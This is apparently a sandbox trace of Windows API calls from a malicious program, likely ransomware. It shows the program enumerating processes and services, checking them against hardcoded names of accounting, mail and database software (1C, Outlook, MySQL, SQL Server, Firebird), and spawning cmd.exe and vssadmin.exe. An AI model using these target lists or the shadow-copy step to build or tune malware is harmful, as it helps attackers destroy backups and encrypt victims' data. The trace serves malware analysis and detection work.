	[0101.417] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0101.418] lstrlenW (lpString="wininit.exe") returned 11
	[0101.418] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0101.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0101.418] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0101.418] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0101.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0101.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0101.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0101.418] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0101.419] lstrlenW (lpString="csrss.exe") returned 9
	[0101.419] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0101.419] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0101.420] lstrlenW (lpString="winlogon.exe") returned 12
	[0101.420] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0101.421] lstrlenW (lpString="services.exe") returned 12
	[0101.421] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0101.422] lstrlenW (lpString="lsass.exe") returned 9
	[0101.422] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0101.423] lstrlenW (lpString="lsm.exe") returned 7
	[0101.423] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0101.423] lstrlenW (lpString="svchost.exe") returned 11
	[0101.424] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0101.424] lstrlenW (lpString="svchost.exe") returned 11
	[0101.424] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0101.425] lstrlenW (lpString="svchost.exe") returned 11
	[0101.425] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0101.426] lstrlenW (lpString="svchost.exe") returned 11
	[0101.426] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0101.427] lstrlenW (lpString="svchost.exe") returned 11
	[0101.427] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0101.428] lstrlenW (lpString="audiodg.exe") returned 11
	[0101.428] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0101.429] lstrlenW (lpString="svchost.exe") returned 11
	[0101.429] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0101.430] lstrlenW (lpString="svchost.exe") returned 11
	[0101.430] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0101.431] lstrlenW (lpString="dwm.exe") returned 7
	[0101.431] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0101.611] lstrlenW (lpString="explorer.exe") returned 12
	[0101.612] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0101.618] lstrlenW (lpString="spoolsv.exe") returned 11
	[0101.618] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0101.620] lstrlenW (lpString="taskhost.exe") returned 12
	[0101.620] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0101.621] lstrlenW (lpString="svchost.exe") returned 11
	[0101.621] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0101.622] lstrlenW (lpString="taskeng.exe") returned 11
	[0101.671] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0101.673] lstrlenW (lpString="taskhost.exe") returned 12
	[0101.673] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0101.674] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0101.674] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0101.675] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0101.675] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0101.676] lstrlenW (lpString="zoo.exe") returned 7
	[0101.676] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0101.677] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0101.677] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0101.841] lstrlenW (lpString="determined.exe") returned 14
	[0101.841] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0101.842] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0101.842] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0101.842] lstrlenW (lpString="hansen mails.exe") returned 16
	[0101.843] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0101.843] lstrlenW (lpString="choirsas.exe") returned 12
	[0101.843] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0101.844] lstrlenW (lpString="skirt_races.exe") returned 15
	[0101.844] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0101.845] lstrlenW (lpString="actors_radius.exe") returned 17
	[0101.845] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0101.845] lstrlenW (lpString="scheduling.exe") returned 14
	[0101.845] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0101.846] lstrlenW (lpString="michael.exe") returned 11
	[0101.846] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0101.847] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0101.847] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0101.847] lstrlenW (lpString="pleasure.exe") returned 12
	[0101.847] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0101.848] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0101.848] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0101.849] lstrlenW (lpString="electron.exe") returned 12
	[0101.849] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0101.849] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0101.849] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0101.850] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0101.850] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0101.851] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0101.851] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0101.851] lstrlenW (lpString="pointer.exe") returned 11
	[0101.851] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0101.852] lstrlenW (lpString="gd logos.exe") returned 12
	[0101.852] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0101.853] lstrlenW (lpString="algebra validity.exe") returned 20
	[0101.853] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0101.854] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0101.854] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0101.854] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0101.854] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0101.855] lstrlenW (lpString="p.exe") returned 5
	[0101.855] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0101.856] lstrlenW (lpString="cmd.exe") returned 7
	[0101.856] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0101.857] lstrlenW (lpString="conhost.exe") returned 11
	[0101.857] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0101.857] lstrlenW (lpString="vssadmin.exe") returned 12
	[0101.857] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0101.858] lstrlenW (lpString="VSSVC.exe") returned 9
	[0101.858] Process32NextW (in: hSnapshot=0x1e8, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0
	[0101.859] CloseHandle (hObject=0x1e8) returned 1
	[0101.859] Sleep (dwMilliseconds=0x1f4) 
	[0102.594] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0b00
	[0102.594] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0102.595] GetLastError () returned 0xea
	[0102.595] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12c6) returned 0x36ba4f0
	[0102.595] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ba4f0, cbBufSize=0x12c6, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ba4f0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0102.595] CloseServiceHandle (hSCObject=0x35d0b00) returned 1
	[0102.596] lstrlenW (lpString="Appinfo") returned 7
	[0102.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0102.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0102.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0102.596] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0102.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0102.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0102.596] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0102.596] lstrlenW (lpString="AudioSrv") returned 8
	[0102.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0102.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0102.596] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0102.596] lstrlenW (lpString="BFE") returned 3
	[0102.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0102.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0102.596] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0102.596] lstrlenW (lpString="CryptSvc") returned 8
	[0102.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0102.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0102.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0102.596] lstrlenW (lpString="CscService") returned 10
	[0102.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0102.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0102.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0102.597] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0102.597] lstrlenW (lpString="DcomLaunch") returned 10
	[0102.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0102.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0102.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0102.597] lstrlenW (lpString="Dhcp") returned 4
	[0102.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0102.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0102.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0102.597] lstrlenW (lpString="Dnscache") returned 8
	[0102.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0102.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0102.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0102.597] lstrlenW (lpString="DPS") returned 3
	[0102.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0102.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0102.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0102.597] lstrlenW (lpString="eventlog") returned 8
	[0102.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0102.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0102.597] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0102.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0102.597] lstrlenW (lpString="EventSystem") returned 11
	[0102.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
